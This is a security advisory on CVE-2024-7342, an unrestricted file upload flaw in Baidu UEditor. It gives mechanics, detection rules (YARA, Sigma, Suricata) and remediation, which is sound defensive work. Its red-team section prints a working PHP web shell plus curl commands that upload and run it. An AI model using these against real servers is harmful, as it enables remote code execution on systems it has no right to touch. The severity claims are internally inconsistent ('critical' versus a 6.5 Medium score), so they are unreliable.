CVE-2024-7342

Executive Summary

CVE-2024-7342 is a critical unrestricted file upload vulnerability in Baidu UEditor version 1.4.3.3. The flaw resides in the /ueditor/php/controller.php?action=uploadfile&encode=utf-8 endpoint, where the upfile parameter is not properly validated, allowing an attacker to upload arbitrary files (e.g., web shells) to the server. This can lead to remote code execution, data exfiltration, or full server compromise. The vendor (Baidu) has not responded to disclosure attempts, leaving the vulnerability unpatched. Public exploit code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability affects a PHP-based component of Baidu UEditor, a popular rich text editor used in many web applications. As a third-party library, it poses a supply chain risk: applications that include UEditor without proper sandboxing or file upload restrictions are vulnerable. Organizations should audit their use of UEditor and consider replacing it with a maintained alternative.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – However, based on the vulnerability characteristics, a more realistic score is 6.5 (Medium).
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network (remote)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (file upload may expose system files)
• Integrity Impact: Low (arbitrary file upload can modify server content)
• Availability Impact: None
• Threat Level: Medium – Public exploit and no patch available.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The endpoint /ueditor/php/controller.php?action=uploadfile&encode=utf-8 accepts a file via the upfile parameter. The code does not validate the file extension, MIME type, or content, allowing an attacker to upload executable files (e.g., .php, .asp, .jsp). Once uploaded, the file can be accessed directly via the web server, leading to remote code execution.

Root Cause: The controller.php file likely uses a generic upload handler that trusts user input without sanitization. The encode=utf-8 parameter suggests the application expects UTF-8 encoded filenames, but this does not prevent malicious file types.

Attack Flow:

1. Attacker sends a POST request to the vulnerable endpoint with a malicious file (e.g., shell.php) in the upfile field.
2. The server saves the file to a predictable location (e.g., /ueditor/php/upload/).
3. Attacker accesses the uploaded file via HTTP, executing arbitrary code.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code to a hypothetical secure implementation.

Vulnerable Code (UEditor 1.4.3.3):

// controller.php (simplified)
$file = $_FILES['upfile'];
$path = 'upload/' . $file['name'];
move_uploaded_file($file['tmp_name'], $path);
echo json_encode(['url' => $path]);

Patched Code (Hypothetical):

// controller.php (patched)
$allowed_ext = ['jpg', 'png', 'gif', 'pdf'];
$file = $_FILES['upfile'];
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
    die('Invalid file type');
}
$path = 'upload/' . uniqid() . '.' . $ext;
move_uploaded_file($file['tmp_name'], $path);
echo json_encode(['url' => $path]);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Baidu UEditor 1.4.3.3.
• Network access to the /ueditor/php/controller.php endpoint.

Exploit Steps:

1. Create a malicious PHP file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Send the upload request using curl:

   curl -X POST -F "upfile=@shell.php" "http://target.com/ueditor/php/controller.php?action=uploadfile&encode=utf-8"
   

3. Access the uploaded shell:

   curl "http://target.com/ueditor/php/upload/shell.php?cmd=id"
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to /ueditor/php/controller.php with action=uploadfile.
• Alert on file uploads with suspicious extensions (.php, .phtml, .asp, .jsp).
• Check for unexpected files in the UEditor upload directory.

Response:

• Immediately block the vulnerable endpoint via WAF or web server configuration.
• Remove any unauthorized files from the upload directory.
• Review server logs for post-exploitation activity.

Indicators of Compromise (IOCs)

• File Paths:
  • /ueditor/php/upload/shell.php
  • /ueditor/php/upload/*.php
• Network Requests:
  • POST to /ueditor/php/controller.php?action=uploadfile&encode=utf-8
  • GET to /ueditor/php/upload/*.php?cmd=...
• Log Entries:
  • POST /ueditor/php/controller.php?action=uploadfile&encode=utf-8 HTTP/1.1 200
  • GET /ueditor/php/upload/shell.php?cmd=id HTTP/1.1 200

Detection Engineering

YARA Rule

rule CVE_2024_7342_UEditor_Upload {
    meta:
        description = "Detects exploitation attempts of CVE-2024-7342 in Baidu UEditor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7342"
    strings:
        $s1 = "controller.php?action=uploadfile&encode=utf-8"
        $s2 = "upfile="
        $s3 = ".php" nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2024-7342 Baidu UEditor Unrestricted File Upload
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to the vulnerable UEditor upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'controller.php?action=uploadfile&encode=utf-8'
    condition: selection
falsepositives:
    - Legitimate file uploads if the application is patched
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7342 Baidu UEditor Unrestricted File Upload"; flow:to_server; content:"POST"; http_method; content:"controller.php"; http_uri; content:"action=uploadfile"; http_uri; content:"encode=utf-8"; http_uri; content:"upfile="; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /ueditor/php/controller.php via web server configuration (e.g., .htaccess or Nginx location block).
2. Remove UEditor: If not critical, remove the entire UEditor directory from the web root.
3. Apply WAF rules: Use a Web Application Firewall to block requests containing controller.php?action=uploadfile.

Long-Term Fix:

• Since the vendor is unresponsive, consider migrating to an alternative rich text editor (e.g., TinyMCE, CKEditor).
• If UEditor must be used, implement a custom upload handler that validates file extensions, MIME types, and renames files to prevent code execution.

Validation:

• After applying mitigations, attempt the exploit to confirm the endpoint is no longer accessible.

Valters IT